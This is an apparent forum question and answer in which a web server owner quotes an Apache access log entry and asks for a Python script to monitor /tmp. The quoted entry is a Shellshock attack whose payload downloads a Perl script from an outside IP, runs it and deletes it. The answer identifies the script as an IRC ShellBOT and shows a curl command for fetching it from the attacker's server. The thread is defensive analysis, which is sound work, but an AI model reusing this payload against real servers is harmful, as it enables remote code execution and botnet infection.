A python script to monitor a directory for new files

Question

Similar questions have been asked but they either did not work for me or I failed to understand the answers.

I run Apache2 webserver and host a few petty personal sites. I am being cyberstalked, or someone is attempting to hack me.

The Apache2 access log shows

195.154.80.205 - - [05/Nov/2015:09:57:09 +0000] "GET /info.cgi HTTP/1.1" 404 464 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://190.186.76.252/cox.pl -O /tmp/cox.pl;curl -O /tmp/cox.pl http://190.186.76.252/cox.pl;perl /tmp/cox.pl;rm -rf /tmp/cox.pl*\");'"

which is clearly attempting (over and over again in my logs) to force my server to download 'cox.pl' then run 'cox.pl' then remove 'cox.pl'.

I really want to know what is in cox.pl which could be a modified version of Cox-Data-Usage which is there on github.

I would like a script that will constantly monitor my /tmp folder, and when a new file is added then copy that file to another directory for me to see what it is doing, or attempting to do at least.

I know I could deny access etc. but I want to find out what these hackers are trying to do and see if I can gather intel about them.

Answer 1

The script in question can be easily downloaded, it contains ShellBOT by: devil__ so... guess ;-)

You could use tutorial_notifier.py from pyinotify, but there's no need for this particular case. Just do

curl http://190.186.76.252/cox.pl -o cox.pl.txt
less cox.pl.txt

to check the script.

It looks like a good suite of hacks for Linux 2.4.17 - 2.6.17 and maybe BSD*, not that harmless to me, IRC related. It has nothing to do with Cox-Data-Usage.